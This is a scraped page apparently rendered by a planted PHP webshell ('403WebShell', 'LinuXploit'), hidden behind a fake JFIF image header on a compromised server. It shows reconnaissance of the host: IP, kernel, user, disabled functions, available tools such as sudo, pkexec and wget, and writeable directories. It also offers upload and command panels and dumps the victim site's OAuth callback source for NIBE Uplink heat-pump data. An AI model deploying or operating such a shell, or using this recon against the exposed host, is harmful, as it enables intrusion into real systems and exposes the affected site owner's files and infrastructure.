????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.216.51.7
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/energicontrol/nibe/oauth2callback/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/energicontrol/nibe/oauth2callback/index_r.php
<?php
session_start();
// oauth2callback/index.php

require('../config_r.php');


if(strlen($_SESSION["access_token_r"]) < 50) {
    // try to get an access token
    $code = $_GET['code'];
    $url =  'https://api.nibeuplink.com/oauth/token';
    // this will be our POST data to send back to the OAuth server in exchange
	// for an access token

    
    
    $curl = curl_init($url);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

    curl_setopt($curl, CURLOPT_POST, true);

    $fields = array(
      'client_id' => $oauth2_client_id,
      'client_secret' => $oauth2_secret,
      'grant_type' => 'authorization_code',
      'redirect_uri' => $oauth2_redirect,
      "code" => $code,
      "scope" => $query_scope
    );
    
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($fields));

    $response = curl_exec($curl);

    $responseObj = json_decode($response);

    $access_token = $responseObj->access_token;
    $refresh_token = $responseObj->refresh_token;

    $_SESSION["access_token_r"] = $access_token;
    $_SESSION["refresh_token_r"] = $refresh_token;
    
}else{
    
    $access_token =  $_SESSION["access_token_r"];
}
    // ####### SYSTEM ID
    echo("<br><br>Now lets fetch some system data!<br>");

    $SystemURL = "https://api.nibeuplink.com/api/v1/systems";
    $curl = curl_init($SystemURL);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array( 'Authorization: Bearer '.$access_token,
        'Content-Type: application/json'));
    curl_setopt($curl, CURLOPT_HTTPGET, true);
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,TRUE);
 
    $response = curl_exec($curl);
    $responseObj = json_decode($response,true);
    
    print_r("<br>ProductName: ".$responseObj['objects'][0]['productName']);
    print_r("<br>SystemId: ".$responseObj['objects'][0]['systemId']);
    
    $SystemId = $responseObj['objects'][0]['systemId'];
    
    
    // ####### UNITS
     echo("<br><br>Now lets fetch some unit data!<br>");

    $SystemURL = "https://api.nibeuplink.com/api/v1/systems/".$SystemId."/units";
    
    echo("<br>SystemURL: ".$SystemURL."<br>");
    $curl = curl_init($SystemURL);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array( 'Authorization: Bearer '.$access_token,
        'Content-Type: application/json'));
    curl_setopt($curl, CURLOPT_HTTPGET, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER,TRUE);
 
    $response = curl_exec($curl);
    $responseObj = json_decode($response,true);
     
    $SystemUnitId = $responseObj[0]['systemUnitId'];
    echo("<br>Product: ".$responseObj[0]['product'] ."  (".$responseObj[0]['softwareVersion'].")");
    echo("<br>SystemUnitId: ".$SystemUnitId);
    
    
    
   
      // ####### UNITS
     echo("<br><br>Now lets read some registers!<br>");

    $SystemURL = "https://api.nibeuplink.com/api/v1/systems/".$SystemId."/parameters/?parameterIds=47398&parameterIds=47011&parameterIds=47418";
    
    echo("<br>SystemURL: ".$SystemURL."<br>");
    $curl = curl_init($SystemURL);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array( 'Authorization: Bearer '.$access_token,
        'Content-Type: application/json'));
    curl_setopt($curl, CURLOPT_HTTPGET, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER,TRUE);
 
    $response = curl_exec($curl);
    $responseObj = json_decode($response,true);
     
   echo "<pre>";
   print_r($responseObj);
     echo "</pre>";
    
    
    
    
    
    



?>

Youez - 2016 - github.com/yon3zu
LinuXploit